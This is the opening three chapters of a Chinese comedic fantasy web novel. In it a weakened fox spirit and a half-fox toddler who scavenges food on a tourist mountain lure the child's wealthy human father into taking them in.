《我捡垃圾养我爹》 1. 第 1 章 第1章 “奶奶,这些瓜瓜是不是不要了?不要宝宝就捡走了哦。” 奶声奶气的声音,在仙山风景区半山腰上卖新鲜瓜果的老太太看到他顿时笑眯眯。 三四岁白瓷一样漂亮的像天上下凡的仙子的奶娃娃,穿着打着补丁的黑白格子背带裤,小手里拖拽着一个竹条编成的竹篮子,歪着小脑袋眨巴着大大的眼睛看着她。 简直要萌死个人,这要是她家的娃娃就好了。 可惜这么漂亮懂事的娃娃家境贫寒,只能每天出来捡垃圾。 “这个坏掉了,奶奶给你一个新鲜的好不好?”老太太拿走奶娃娃手里烂了一半的黄瓜,从摊子上拿了一根嫩生生青翠翠的黄瓜和一个颜色鲜艳的西红柿递给他,满眼都是怜惜。 “不要哦。”小娃娃的脑袋摇的像拨浪鼓,“爸爸说做人要有骨气,再穷也不能接受别人的施舍。” “这是奶奶送给你的,不是施舍。”老太太记性不好,又忘记了,这娃娃虽然穷苦,但家教极好。 于是赶忙换了个说法:“奶奶跟你是朋友,朋友送给朋友的礼物,不叫施舍。” 小娃娃眨眨眼,插在背带裤前面大兜里的小手指慢慢数了三个数后,才重重点头:“那谢谢奶奶,你的礼物宝宝接受了,改天宝宝也送你礼物哦。” 小爸爸说别人送他东西要先拒绝一次后才可以接受。 小爸爸还说做人要有骨气,虽然他不是人,但他也有骨气。 他叫狐绥,小爸爸说“有狐绥绥”就是有只小狐狸走路很慢的意思,说的就是他这只小狐狸。 小爸爸还说他是个串儿,串人类血统和狐族血统,是仙山开天辟地第一狐,特别特别厉害!!! 就因为他厉害,所以他这么小就能捡垃圾了。 但出来捡垃圾很容易饿。 狐绥从篮子里拿出他一千毫升的大奶瓶,吨吨吨喝了半瓶奶后,才腆着圆鼓鼓的小肚子拖着竹编篮子走向下一个目标。 “姐姐,这些瓶瓶是不是不要了?不要宝宝就捡走了哦。” 卖烤肠的漂亮姐姐有个漂亮的小木屋,她的小木屋旁每天都有好多不要的塑料瓶瓶。 “不要了哦,小绥数一数有多少。”扎着麻花辫的女孩一边给顾客穿烤肠一边朝漂亮娃娃笑。 狐绥一屁股坐在地上开始数瓶瓶:“一个,两个,三个……十八,十九,姐姐,一共有二十个哦。” “一个瓶瓶可以卖五分钱,二十个是多少?” “一块钱。”狐绥扬起小脸响亮回答。 “那姐姐用一根烤肠换你这些瓶瓶好不好?” “好的呀。”狐绥美滋滋站起来走到小屋前,“宝宝今天又买到烤肠了,真棒。”小爸爸说漂亮姐姐心肠好,但不能每天都来,所以他要隔两天来一次,每次都能获得一根烤肠。 小爸爸最喜欢吃烤肠了。 漂亮姐姐用袋子把烤肠装好帮他放进竹编篮子里。 狐绥甜甜道谢,又拿出奶瓶把剩下半瓶奶喝完,然后拖着篮子继续走。 从半山腰走到山顶,一路上有好多眼神清澈的哥哥姐姐想要往小娃娃的篮子里扔东西,都被拒绝了。 “不可以哦,宝宝不是要饭的。” 小爸爸说了,他们可以跟人类买东西,互换东西,互送东西,但就是不能平白接受人类的施舍,因为施舍是恩情,要还的。 小爸爸说他们是仙山最聪明的狐狸父子,才不要做这种亏本买卖呢。 山顶云雾渺渺,置身其中仿佛踩在云层,透过薄雾可以看到远处如海市蜃楼一样布满半边天的潋滟桃花林。 没有人知道这片桃花林到底身在何处,只知桃花林四季不变,日日云霞。 这就是仙山最有名的桃花盛景。 小小的娃娃拖着他的竹编篮子走入桃花林,一路走一路喊:“小爸爸,宝宝今天给你买了烤肠,还捡到了新鲜的黄瓜和西红柿哦。” 没有听到回话,狐绥开始惊慌:“小爸爸,你是饿死了吗?” “你不要死,宝宝害怕。” 桃花树下,趴在那里饿的已经开始吃桃花瓣的纯白狐狸有气无力地睁开细长的眼睛看向刚刚捡垃圾回来的小崽儿,一阵心酸:“爸爸在这儿呢。” 狐绥哒哒哒跑过来蹲下身小手摸摸狐狸脑袋,漂亮的大眼睛里含着两泡泪:“吓死宝宝了,宝宝多怕小爸爸饿死呀。”他小爸爸可太虚弱了,动不动就晕倒。 饿死? 那真是死的很窝囊了。 他到底是如何落得今天这个地步的呢? 那要从他化形失败那天说起了。 狐久是仙山的一只狐狸,排行第九,于是狐大仙给他起名狐久。 狐久修行百年终于可以化成人形,狐大仙说过,狐狸化形时会因为自身灵力骤然波动而发生晕厥,但醒来后便会成功化形。 狐久确实晕厥了,但醒来后却并没有如狐大仙所说那般化成人类的模样……不,严格来说,也算化了,只化成了一只胳膊而已。 是,他的右前爪可以变成人类的右手。 他从仙山最有灵气的狐狸变成了仙山第一只异形独臂狐。 他本还憧憬着化形成功后就下山骗个人类来供养自己,可惜了,他不止化形失败灵力没了,身体还变得特别虚弱,连走动都成问题。 也是在那时,他发现自己的狐狸洞里多了一只幼崽。 幼崽是人类模样,但血液里却又有狐族血统,狐狸和人类竟然能生出孩子来,还一生出来就是人类的模样,这简直匪夷所思。 仙山除狐大仙以外就只有九只开智的狐狸,狐久连狐大仙也只是在他开智的时候见过一次,其他八只狐狸则从来没见过。 所以这只串儿狐大概是某只狐狸前辈生出来的,只是不知道为什么会遗弃不要了。 但!!! 谁捡到就是谁的哦,所以这只幼崽是他的了。 狐绥坐在地上掰了烤肠一口一口喂给狐久,然后委屈巴巴:“小爸爸,宝宝又饿了,要喝奶。” 吃了烤肠恢复了一些力气的狐久化身异形独臂狐拿过狐绥竹编篮子里空了的一千毫升奶瓶,小小的左前爪按住瓶身,化成人类手臂的右手拧开瓶盖,又拿了一旁泥炉上一直温着的热水倒进去。 这一番动作已经让他呼哧带喘。 狐绥已经进到一旁的竹屋里抱了奶粉罐过来,熟练地往他的奶瓶里加奶粉。 “一勺,两勺,三勺……二十八勺……三十二勺,三十三勺。” 一千毫升的奶瓶一次冲满需要加三十三勺二段奶粉,一桶奶粉可以冲五瓶。 狐久看着小崽儿喜悦地摇晃着奶瓶,愈发忧愁。 小崽儿虽然只是出生六个月的宝宝狐,但他一天要喝一桶奶粉,简直就是个奶桶。 而奶粉只剩最后两桶,只够他喝两天的。 某狐前辈生崽儿之前其实做了很多准备,他盖了一间竹屋,竹屋里光奶粉尿不湿还有 衣服之类的生活用品就准备了几十个箱子,留下的手机里也有五十万存款。 好吧,他承认某狐前辈应该不是遗弃了崽儿,而是出了什么意外。 但!!! 他是一只狡猾的狐狸,才不管意外不意外,崽儿捡到了就是他的哦。 人类说了,养恩大于生恩。 话说回来,某狐前辈准备的东西虽多,但应该没想到他会生出一只能吃又难养的串儿狐宝宝。 起先,串儿狐宝宝是小小的粉粉的一个婴儿,每天要睡二十个小时,一天只需要喝三百六十毫升的奶。 一个月后,串儿狐宝宝就长大了一倍,一天要喝一千毫升的奶。 两个月后,串儿狐宝宝能下地走路了,一天要喝两千毫升的奶。 三个月后,串儿狐宝宝又能走又能跳还能喊爸爸,一天要喝四千毫升的奶。 如今,六个月大的串儿狐宝宝看起来有人类幼崽三四岁大的模样,惊人的长势倒是停止了,但饭量已经增加到了一天要喝五千毫升的奶。 五千毫升的奶需要一桶奶粉来冲,一桶奶粉需要两千块,一个月至少要六万块,这半年,光奶粉小崽儿已经喝了三十多万了。 狐久看手机时发现人类幼崽到了一定的年龄是可以添加辅食的,便学视频里教的那样给小崽儿做,但没想到小崽儿吃了后浑身过敏昏迷了一天一夜。 狐久耗费好不容易积攒的一点儿灵力探查小崽儿的身体,这才知道人类的食物太多污染和毒素,不适合体质特殊的串儿狐宝宝。 所以串儿狐宝宝只能喝奶粉充饥。 狐久也试图从网上找过很多标着天然无污染的食物网购回来,但小崽儿一闻就直摇头说臭,不要吃。 狐久也曾经试图换过便宜一些的奶粉,但小崽儿还是说臭,不要喝,最后只能换回之前的。 但奶粉再好显然也已经不能满足日渐长大的串儿狐宝宝了,这段日子小崽儿脸色明显暗淡了许多。 而狐狸洞里的物资已经消耗完,卡里的五十万也在半个月前一分不剩。 这半个月来,狐久都是靠小崽儿捡垃圾养他。 简而言之,言而简之,仙山最聪明的狐狸父子马上就要饿死了。 “崽儿啊,看来我们父子俩要另寻生路了。”狐久咔嚓咬了一口黄瓜,他好想吃烧鸡啊。 狐绥边抱着奶瓶吨吨吨喝奶,边歪头眨巴着大眼睛看着狐久。 生路是什么? 生路就是小崽儿的人类爸爸。 几天前,狐久从某狐前辈留下的手机里发现了一篇《人类攻略日记》,上面记录了许多信息。 某狐前辈化名胡硕,靳戎是被某狐前辈选中的供养人,也就是串儿狐宝宝的人类爸爸。 上面还写了某狐前辈的心得体会: 【靳戎人傻钱多,特别好骗。 骗男人就得骗有钱的男人,能住大房子吃好多好吃的。 靳戎对美色无法抗拒,是个色坯。 传言人类男人一夜七次,靳戎一夜只能三次,简直丢人类男人的脸。 靳戎能让公狐狸怀孕,怕是有什么大病,避雷(五星)。】 靳戎行不行色不色能不能让公狐狸怀孕,与狐久都没有关系,毕竟那是前辈的男人,他又不睡他,他只需要他帮他养崽儿,所以只要有钱就行。 狐久从微信里把拉黑的“一夜三次男”放出来,然后给他发消息。 胡硕:靳戎,你要儿子不要? 2. 第 2 章 第2章 “有人说半年前在花城看到过胡硕那小子,但时间太久,不知道人还在不在。” “与我无关。”站在落地窗前听电话的男人语气平静,“不过一百万而已,没必要追着不放。” “那这事儿就这么过去了?我当初就跟你说那臭小子跟个狐狸似的鬼精鬼精的,你偏不信,现在被骗了吧。”手机那头任骁咬牙切齿,“老子也被他骗了,还跟他勾肩搭背当好哥们儿呢。” “严格来说也不能算是被骗,他但凡向我开口,多少我都给,可他偏偏选择拿了一百万跑路,谁吃亏也不好说,就算是给他的分手费吧,而且事情已经过去大半年,揪着不放没意思,只要他不再出现在我面前,这件事情就当没发生过。” “真的假的?你真打算这么放过他了?” “不然呢?” “……行吧,那你还挺有善心的,活菩萨受我一拜。” 靳戎无情挂断电话,眯起眼睛发消息给薛秘书让他订机票。 他好吃好喝当祖宗一样供了三个月,什么都顺着他由着他,即便他只让他碰过一次,他也不在乎,一辈子柏拉图都无所谓,他都这么低声下气了,他竟然还是跑了。 真当他没脾气吗? “怎么了,公司出什么事情了吗?”项毓文看着眉头紧皱的二儿子,关切地问。 “没事儿,待会儿需要出个差。”靳戎收起手机走回餐桌。 “又出差?”靳川林面露不愉,“公司有那么多事情需要你一个总经理天天往外跑吗?” “他当然不是为了公司,他那是为了找人。”坐在靳戎旁边挑染了几缕红发的青年笑眯眯,“爸,我弟心思明显就不在公司里,你得看紧他,小心他扔下公司的事儿跑了。” 靳戎转头看向说话人,目光冷淡:“大哥你是怎么好意思说我的?要不然总经理给你当好不好?” “爸,你看我弟,我总经理的位置都让给他了,他还不知足,天天阴阳怪气的。”项琛叹口气,可怜巴巴看向项毓文,“妈,你管管他。” 靳戎“呵”了一声,三十岁的人了,染几根红毛装嫩,还天天耍无赖,他都懒得搭理他。 靳川林脸色愈加难看:“别以为我不知道你们兄弟俩是怎么想的,我告诉你们,谁要敢跑,我就敢心脏病发进医院。” “还是那句话,谁先成家生孩子完成人生大事,就可以去做自己想做的事情,不然就一辈子给我锁死在公司里。” 说完,扔了筷子起身上了楼。 生这么两个儿子,不如生两块叉烧。 “你看,你又气爸爸。”项琛责备地瞪了一眼靳戎。 “少贫两句吧。”项毓文给两个儿子一人夹了一块排骨,“惹急了你弟弟,小心他断你生活费。” “放心吧,妈,我弟不会的。”项琛笑眯眯,“我弟喜欢男人又不能生孩子,还指望着我媳妇儿生孩子帮他解脱呢,是不是,亲爱的小弟?” 是的。 靳戎闭上眼睛深吸一口气,所以,他忍。 只是不知道需要忍到什么时候,毕竟项琛这货三十岁了还没个女朋友。 废物。 靳戎吃完饭后便让司机送他去了机场,薛秘书已经拖着行李箱在机场等他了。 今天周六,薛秘书昨天晚上美滋滋熬了个大夜,今天睡到十一点才起床,然后点了份外卖打开综艺边看边吃,正享受着呢,就接到了老板的出差电话。 薛秘书只能拜别自己吃了一半的麻辣烫,马不停蹄赶往老板家帮他收拾行李。 其实这就是薛秘书以前的工作日常。 老板以前是工作狂,一旦开始工作就废寝忘食,加班是常有的事儿,周六日经常一个电话就把他叫过去。 但老板会给丰厚的加班费,而且老板虽然看着严肃说话毒舌,其实人还是很和善的,从不会故意刁难人,且遇到事情只要你有理有据他都能接受。 那时候的薛秘书觉得自己这份工作简直无敌爆炸好。 直到遇到那个小骗子后,薛秘书走上了人生巅峰。 小骗子叫胡硕,二十岁出头的模样,长着一张颠倒众生的脸,他一直以为的性冷淡老板被他迷得七荤八素。 班也不加了,应酬也不去了,娱乐活动更是一点儿没有,每天踩着点下班回去伺候那位祖宗吃饭睡觉。 这样他就没有丰厚的加班费了吗? 不!!! 当他偶尔早上去老板家接他上班时,小骗子就会一脸同情地看着他:“薛秘书这么早就上班,好惨啊。” 下班偶尔送老板回家时,小骗子会叹口气:“薛秘书你每天都要上班,不累吗?” 每当听到这些话,老板就会大手一挥给他几倍的奖金,换小骗子一句:“哇哦,你给人发钱的样子好帅哦。” 那时的薛秘书想抱住他的大腿喊他一声爸爸。 不止如此,老板送给小骗子的那些礼物,小骗子不喜欢的转手就送给了他。 什么,二手的? 对,过了小骗子的手刚刚拆封的手机平板奢侈品钱包腰带…… 他不嫌弃,他甚至想跪着求他多送一些。 那三个月是薛秘书最快乐的时光,他将用一生来回味。 而现在,小骗子跑了,老板倒是没变成以前的工作狂,因为他成了寻夫狂啊啊啊啊啊…… 对外被骗了无所谓不在乎,内里其实穷追不舍,哪里有消息闻着味儿就去了…… 他依旧拥有丰厚的加班费,但事儿已经不是那个事儿了。 毕竟由俭入奢易,由奢入俭难啊。 小骗子也真是的,好好的金丝雀不当,就为了一百万……怎么想的呢? …… 靳戎以前并没有听说过花城这个名字,因为花城只是一个离他几千里外只有五十多万人口的小县城而已。 四个半小时的飞机无法直达,只能到了市区后再打车前往。 “听你的口音是外地人吧,也是来仙山求子的?”司机从后视镜里看了一眼后车座上闭目养神的人。 身边跟着秘书的精英人士,衣服料子明显不便宜,手腕上那块表如果是真的怎么着也得个几十万,浑身上下都散发着金钱味,这种人要么求财要么求子。 “仙山?”坐在副驾驶上的薛秘书好奇,“什么仙山?” “你不知道仙山吗?”大半夜的,司机开始亢奋,“我们花城最有名的就是仙山,外地人都是奔着仙山来的,不然我们这没有旅游景点的小破地方,谁来啊。” 花城有座山,名仙山。 传说,仙山上住着神仙,神仙心善,庇佑世人。 起先大家以为那只是个传说,后来却发现仙山脚下的长寿村竟然家家都有百岁老人,户户都有可爱又健康的幼童,整个村子都是寿终正寝,无一人因生病而去世。 于是许多人慕名而来想要寻一寻山上的神仙,祈求福泽降临。 祈福之人越来越多,山上便有了个仙人庙,日日香火鼎盛。 而其中,求子的是最多的。 “既然来了就别错过,去上柱香,很灵的,尤其是生孩子,去求过的都怀上了。” 薛秘书有了兴趣:“老板,我们去看看吧。”毕竟来都来了。 小骗子嘛,大概率是找不到的,毕竟这大半年,老板被溜了也不是一次两次了。 “你要求子?”靳戎眼也不睁,“我记得你还没交到女朋友吧?你打算求神仙让你自己生?” 薛秘书被毒了一嘴,维持微笑:“也不一定是求子嘛,或许仙人能指点迷津指个东南西北有个方向 也说不定。” 靳戎不理他。 薛秘书便闭嘴,老板是无神论者,从来不信这些。 凌晨三点,两人到达花城,薛秘书提前联系的花城的一个律师过来接他们,将他们送进安排好的酒店。 “何律师在花城当地关系网非常强,如果胡硕在花城,何律师一定能把他找出来的。”薛秘书站在门口微笑,“老板放心,老板晚安。”说完就将房门关了上。 老板这个人很别扭,他想找人却不允许把胡硕的照片发到别人手机上,所以每次认人只能自己亲自来。 靳戎洗了个澡后躺在床上看手机。 飞机上关机几个小时,下了飞机后还没仔细查看过。 任骁一直在给他发消息,对话框一直在第一个,靳戎不用点开看就知道全是些废话。 项琛排第二,想问他要一千万投资一个画廊,“亲爱的弟弟”之类的话隔一个小时发一次。 靳戎越过两个人往下看,秘书处的赵秘书,项目部的王总…… 一条一条往下划,一个熟悉的名字亮起了小红点。 小骗子??? 靳戎猛地坐直了身体,他不是把他拉黑了吗? 靳戎立刻点开对话框。 小骗子:你要儿子不要? 靳戎拧眉。 什么儿子? 时隔大半年,为什么突然发一条意味不明的消息? 靳戎:什么意思?你在哪儿? * 狐久白天只吃了一根烤肠,啃了一根黄瓜,凌晨饿醒后拿了西红柿放在嘴边吸汁水。 他现在的原型非常小,也就跟个正常人类巴掌那么大,能吃进去的东西其实很少。 但他不是单纯的小狐狸,他是一只异形独臂狐,所以他需要能量来维持自己那只独臂,如果吃的太少,就得不到足够能量,没有足够的能量,他就非常虚弱无法化形,于是这就成了一个死循环。 边吸西红柿,狐久边用前爪上软乎乎的肉垫划着手机刷短视频。 一夜三次男:什么意思?你在哪儿? 呦,小崽儿的人类爸爸回复消息了。 胡硕:你可爱又迷人的宝贝儿子在我手上,想不想要? 儿子? 靳戎盯着手机屏幕上的这行字看了足足有三分钟,最后得出一个结论,小骗子被人绑架了,装他儿子想让他出赎金。 装儿子这种事情是胡硕能干得出来的。 所以,他离开自己就是为了被绑架吗? 靳戎气恼地打字。 一夜三次男:需要多少钱?五百万,别让他少一根头发丝。 五百万? 黑暗中,狐久眼睛倏然一亮。 某狐前辈说的还真挺对的,这个靳戎真是人傻钱多,也不问问儿子是怎么来的,就愿意拿五百万出来买儿子。 狐狸用爪子给对方发了个位置。 胡硕:两天内来这里领儿子,不然就饿死了。 一夜三次男:好。 狐久点开相册看了看上面的人类男人,照片上的男人无意外是很帅很好看的,狐狸选供养人,长相排第一,钱财排第二。 照片上的男人眉眼温和带着浅笑,但其实与他的长相并不怎么相符,他的长相偏冷硬凌厉,应该是很精明的人才对。 但某狐前辈比他修为高,他说靳戎人傻钱多,那肯定是前辈说的对,他现如今修为全无,不能被人类的面向骗了,要无条件相信前辈。 狐族祖训,相信前辈少走弯路。 狐久退出相册,点开对话框,先改了个备注,然后发消息。 胡硕:记得带一只烧鸡上来。 人傻钱多一夜三次男:好。 狐久吸溜了一下口水,带着对烧鸡的期许进入梦乡。 3. 第 3 章 第3章 早上七点,房门被敲响。 才睡了几个小时的薛秘书顶着乱糟糟的头发一脸起床气地去开门:“谁啊……老板,早上好。” 薛秘书瞬间露出八颗牙齿,微笑面对站在外面一眼看过去就知道一夜没睡的老板。 “胡硕被绑架了,你准备五百万现金。”靳戎沉声说。 薛秘书很轻地眨了一下困顿的眼睛。 谁被绑架了?谁需要五百万? 靳戎冷着一张脸给他看手机上的消息。 薛秘书仔细,试图理解,最后未果。 这确实是胡硕发过来的消息,不像是盗号,倒像是个杀猪盘。 不,这还没杀呢,老板自己就送上去了,五百万都是老板自己提出来的,他通篇没看到绑架和要钱几个字眼。 “您确定?”薛秘书顺嘴问了一句。 “不然呢?”靳戎看着他,眼睛微微眯起,语气里带着危险,“难道看着他被绑匪撕票?” 薛秘书瞬间回神。 他刚刚那句“您确定”与“您确定您不是个脑残吗”有什么区别? “老板说得对,骗了老板的人只能由老板亲手掐死,怎么能便宜了绑匪呢。”薛秘书点头,“我这就去准备五百万现金。” 靳戎脸色稍霁,对,薛秘书说的很对,他就是这么想的。 “等把人救出来给你加奖金。” 薛秘书控制住自己上扬的嘴角,一脸平静:“谢谢老板,这是我分内之事。” 小骗子果然是他的财神爸爸!!! 薛秘书立刻联系了何律师,让他帮忙兑换五百万现金,顺便又雇了三个保镖。 他要确保财神爸爸的安全,不能被绑匪撕票,也不能被老板掐死。 老板要真见了小骗子肯定得掐一下装装样子,他怕自己到时拦不住经常健身的老板,以至于老板下不了台,所以保镖很关键。 薛秘书仅用两个多小时就搞定一切,早上十点,三辆SUV便驶出县城前往花城仙山风景区。 对,小骗子给老板发的位置就在仙山,实在是太巧了。 巧的薛秘书觉得这杀猪盘简直环环相扣,针对性极强,但凡不是个恋爱脑就绝不会上当的。 仙山风景区外游人如织,很多人手里都抱着几根又粗又高的香烛,一脸虔诚,显然对仙山的传说深信不疑。 仙山不算太高,正常人三个多小时就能爬上去。 五百万有一百多斤重,分了三个旅行包,三个保镖一人拎一个,薛秘书拎着烧鸡,一行人除了薛秘书常年亚健康外都经常锻炼所以走的很快。 亚健康秘书被两个人高马大的保镖架着,只用了两个小时就飞到了山顶。 山顶云雾渺渺,空气里弥漫着不知名的花香,也不知是不是心理作用,吸一口神清气爽,似乎刚刚的疲惫都散了一半。 靳戎手机上的定位就是在此时这个仙人庙的位置,这里全都是虔诚跪拜的游客,不像是能藏匿绑匪的样子, 靳戎:我到了,五百万也带来了,我儿子在哪儿? 手机上一直没回复,靳戎打了语音过去,那边没接。 靳戎有些烦躁,但也没办法,他只能等,一转头就看到薛秘书跟其他人一样抱着三柱比他人还高了半个头的香烛走过来。 “你做什么?”靳戎皱眉。 薛秘书说:“来都来了。” 靳戎眯眼。 薛秘书立刻加了一句:“可以给项总求啊,一胎三宝。” “……”靳戎接过了香烛。 如果男人能生孩子,希望项琛能无性繁殖,一胎八宝,二胎十六,三胎二十四…… “老板,朝那个方向拜。”薛秘书指着天边若隐若现的桃花林,许个愿吧老板,恋爱脑如此之亮,说不定会吸引到神仙的注意哦。 叠嶂山峦被烟云笼罩隐约不明,日光将云层度上瑰丽的色彩,确实不负仙山之名。 不知何处传来一声悠远的钟鸣,烦躁的心在这一刻似乎平复了下来,周围喧嚣如潮水退散,瞬间万籁俱寂。 靳戎向来不信神佛,但兴许是来的路上听了太多看了太多,也兴许是因为香烛在手,心中便多了许多诚挚,不由闭上眼睛。 轰隆一声,天空炸开一记响雷,吓得薛秘书原地蹦了一下。 薛秘书去看自家老板,旁人都好奇地去看天,只有他家老板还在闭着眼睛一动不动。 是老板许愿时嘴太毒所以引发了雷劈? 薛秘书默默后退一步远离老板,手执另一炷香虔诚许愿:“劈了老板就不要劈秘书了哦。” 靳戎睁开眼睛,这里的天气飘忽不定,刚刚还有穿过云层的日光,此时便下起了濛濛细雨。 视线收回时,烟雨中,一个小小的身影走了出来。 穿着黑白格子补丁背带裤的小人儿,小手撑着一柄大大的荷叶伞,身后拖拽着一个竹编的篮子,从靳戎面前哒哒哒走过,像山中走出来的小精灵。 …… 今天不可以去找卖瓜果的奶奶,也不能去捡漂亮姐姐的瓶瓶,所以他要去捡玉米。 卖玉米的哥哥就在仙人庙旁边,电煮锅里放着好多香喷喷的玉米,但偶尔剥出来的玉米会有虫虫,哥哥就会丢掉不要了。 狐绥拖着篮子走过去,抱着荷叶杆缩在下面仰着小脑袋眼巴巴看着哥哥剥玉米。 一根没有虫。 两根没有虫。 三根没有虫。 串儿狐宝宝饿了,拿出奶瓶抱着吨吨吨开始喝奶,同时,黑白分明的大眼睛一眨不眨盯着玉米,生怕一眨眼,玉米就不见了。 四根,五根,六根……有虫了。 狐绥立刻睁大眼睛一脸期待。 哥哥把刚刚剥开的玉米叶合上放到了一旁的竹编篮子里。 “玉米米不要了吗?不要宝宝就捡走了哦。”狐绥忙开口。 “不要了,你捡走吧。”玉米哥哥笑了笑,小家伙可爱的很,每次给他完好的他都不要,只要有虫子的,但这玉米只边缘处坏了一点点,不影响吃。 “哇哦,谢谢哥哥。”狐绥开心,今天小爸爸可以吃玉米了呢。 小爸爸说只要再捡一天垃圾,靳戎就会带着五百万和烧鸡踏着五彩祥云来接他们了。 只要跟靳戎回家,他和小爸爸就不用饿肚子了,他也不需要担心一觉醒来小爸爸饿死了。 薛秘书已经惊呆了,眼睛睁的像铜铃,一脸呆滞。 他是不是眼花了? 这里,为什么,有一个,和,胡硕,长得一模一样的,小崽儿??? 老板到底许的什么愿? 难不成是胡硕一胎生宝? 这么灵的吗? “老板,你看到了吗?” 老板当然看到了,他不止看到了,他还要裂开了。 靳戎的瞳孔因为震惊极快地抖动一下,然后又极慢地闭上,缓了几秒后才再次睁开。 三四岁的小男孩,破旧的背带裤穿的很凌乱,细软的黑色头发被荷叶没挡住的细雨沾湿,荷叶下的那张小脸清晰可见。 那是一个带着婴儿肥的压缩版的胡硕。 靳戎面色黑的像涂了一层农家大铁锅的锅底灰。 …… 今天收货一个比他胳膊还长的玉米,狐绥很开心,举着荷叶拖着篮子先回去投喂小爸爸。 小爸爸吃的很少,一根玉米能吃一天。 顶着一张胡硕脸的小崽儿再次从靳戎身边经过,靳戎下意识抬腿跟了上去。 走了几步的小崽儿突然停下步子,转头,两条大长腿。 仰头。 细雨蒙蒙,狐绥从碧绿的荷叶下露出两只忽闪忽闪的大眼睛,盯着面前的男人看了几秒:“咦,靳戎?” “你认识我?”靳戎看着还不到他膝盖高的小人儿,嗓音有些沙哑。 “认识呀。”狐绥点点小脑袋,一脸欣喜,“你是宝宝的爸爸呀。”小爸爸给他看过手机,手机上有靳戎的照片,跟面前的人一模一样。 “谁是你爸爸?”靳戎怀疑自己出现了幻听。 “你是我爸爸呀。”人类爸爸也太高了吧,他仰的小脑袋都要掉了呢。 哦,他好像忘记说小爸爸教他的词了。 小爸爸说那些话是要见到靳戎后就要说的。 狐绥歪着脑袋想了想,然后用奶呼呼的声音开始背诵。 “靳戎先生,你好,我是胡硕先生跟你分手后背着你生下来的崽儿。” “胡硕先生在生宝宝时大出血死了,宝宝现在属于野孤崽儿,你作为宝宝生物学上的另一个爸爸,想要养我吗?” 哦,不对,背错了,这是第一版的内容。 狐绥噘噘嘴:“不是‘你想养我吗’,而是你必须得养我,生而不养,你会遭雷劈的呦。” 是的,小崽儿点头,小爸爸就是这么说的,这次没背错。 天边再次炸响一记惊雷,薛秘书再次被震地跳了下脚,一向灵光的脑子竟然有些宕机。 谁是谁的儿?谁是谁的爹? 薛秘书迷茫转头,便看到他那恋爱脑老板满脸不可置信地看着眼前的崽儿,从齿缝间挤出似乎是被车压了嗓子眼后崩裂的声音:“你说你是胡硕给我生的儿子?” “是的呀。”小崽儿扬着漂亮的小脸骄傲点头,他可是串儿狐,是仙山最厉害的宝宝呢。 靳戎眼睛死死盯着他,这张小脸是最好的说明,不用亲子鉴定就知道这百分百是胡硕的儿子。 生物学上的另一个爸爸? 若他没有记错,胡硕是个带把的男的吧? 男的能生孩子? 若他还没有记错,半年前胡硕跑路时肚子还是平的吧? 半年后崽儿都能下地跑了? 这小孩儿看着怎么着也得三四岁了,所以胡硕在跟他时,就早已经跟别的女人有孩子了。 犹记得当初胡硕盘腿坐在沙发上,把他当小厮使唤时说的话:“我这么天真纯情一美男子还不知事儿时就跟了你,你伺候伺候 我怎么了?” 胡硕嘴巴里没有一句实话。 胡硕跟他是为了骗他的钱养孩子,所以后来才拿了一百万跑了。 而现在…… 靳戎看着这穿的破破烂烂出来捡垃圾的小崽儿,显然是他那个骗子爸爸养不起孩子了,所以又把他这个金主从黑名单里拉出来打算再骗一次。 靳戎愣是被气笑了,然后垂在身侧的紧紧攥起,脸色渐渐变得铁青。 胡硕这是把他当傻子耍呢。 薛秘书从老板猩红的眼睛里看到了正在酝酿着的狂风暴雨,忙上前一步挡住了这一看就是胡硕儿子的漂亮崽儿。 大人的恩怨不要牵扯孩子。 “胡硕呢?”靳戎从牙缝里挤出三个字。 “胡硕生我时大出血死了呀。”小崽儿从薛秘书背后探出小脑袋,一脸天真,“我说话你是没听到吗,爸爸?” “别喊我爸爸。” “好的呀,靳戎。”小崽儿听话改口,“我说话你是没听到吗,靳戎?” 他的人类爸爸好奇怪,不许别人喊他爸爸。 好吧,不喊就不喊,他是最乖巧的崽儿。 “……” 要不是情况不允许,薛秘书差点儿被小崽儿可爱的笑出声。 薛秘书闭上眼把自己这辈子的伤心事儿都想了一遍,然后睁开眼,一脸悲痛:“老板,冷静。” 但好像确实不太好冷静。 巴巴拎着五百万上来赎人,然后被送了这么大一顶绿帽子,想想就要爆炸了。 天真可爱的串儿狐宝宝不知道发生了什么,只知道他的人类爸爸来带他走了,于是朝靳戎勾勾手指:“来呀,来呀。” “跟我走,我带你去找我小爸爸。” 小爸爸? 胡硕? “哦,对了,你进不去。”小崽儿自己嘀嘀咕咕,然后走过来将手里的荷叶举起递给靳戎,“你帮宝宝遮雨,宝宝牵你走路哦。” 软乎乎的小手牵住靳戎的大手:“走吧,靳戎。” 薛秘书见老板一言不发举着荷叶跟着缩小版胡硕走,连忙跟上去,但一眨眼的功夫,老板和崽儿就隐入不知何时弥漫上来的烟雾不见了踪影。 * 有人类进了桃花林,昏睡中的狐久猛然睁开眼睛。 “小爸爸,我带靳戎回来啦。”小崽儿的声音响起,狐久眯缝着眼睛看过去。 细雨绵绵,潋滟的桃花瓣落了一地,高大英俊的男人穿过雨雾缓缓走了过来。 狐久有一瞬的失神。 剑眉星目,轮廓硬朗,双腿修长笔直一看就很有劲,帅气中还带着几分儒雅的男人,比照片上看着要好看一百倍鲜活一百倍。 某狐前辈的眼光实在是很好,这个男人是个极品。 换成他,他也会选择这个人类来供养自己的。 狐久忍不住咽了咽唾沫,肆无忌惮将人从头至尾扫视一番,眼睛里全是艳羡和遗憾。 可惜啊可惜,可惜这是某狐前辈的男人。 前辈夫不可欺。 他要了前辈的崽儿,就不能要前辈的男人了。 总不能既要又要吧,那也太不要脸了。 “啊——”小崽儿突然大叫起来,狐久一个激灵回神,就见小崽儿扑通一声跪在地上抱住了靳戎抬起的腿,嚷着,“靳戎,你要把我小爸爸踩死了啦……” 靳戎猛然顿住身形收住脚,低头看过去,与被桃花瓣覆盖下的一双冰蓝色的细长眼睛四目相对。 狐绥推开人类爸爸的大长腿,跪坐在地上把狐久抱起来,小心翼翼拍去他身上的落花,噘嘴:“吓死宝宝啦,你差点儿被靳戎踩死了啦。” 谁说不是呢。 狐久眉尾上挑瞪了男人一眼,挑剔地哼哼一声,他这么大一只漂亮狐,他是没看到吗? 眼睛不好可别遗传给串儿狐宝宝。 靳戎皱眉看着被小崽儿捧在手心的一不注意一脚就能踩死的不知名品种的……狗? 应该是狗,看着像。 巴掌大的小家伙,毛雪白雪白的,像是不染尘埃的雪。 无论是胡硕本人,胡硕养的崽儿,还是胡硕养的狗,都有一个显著特点,就是漂亮。 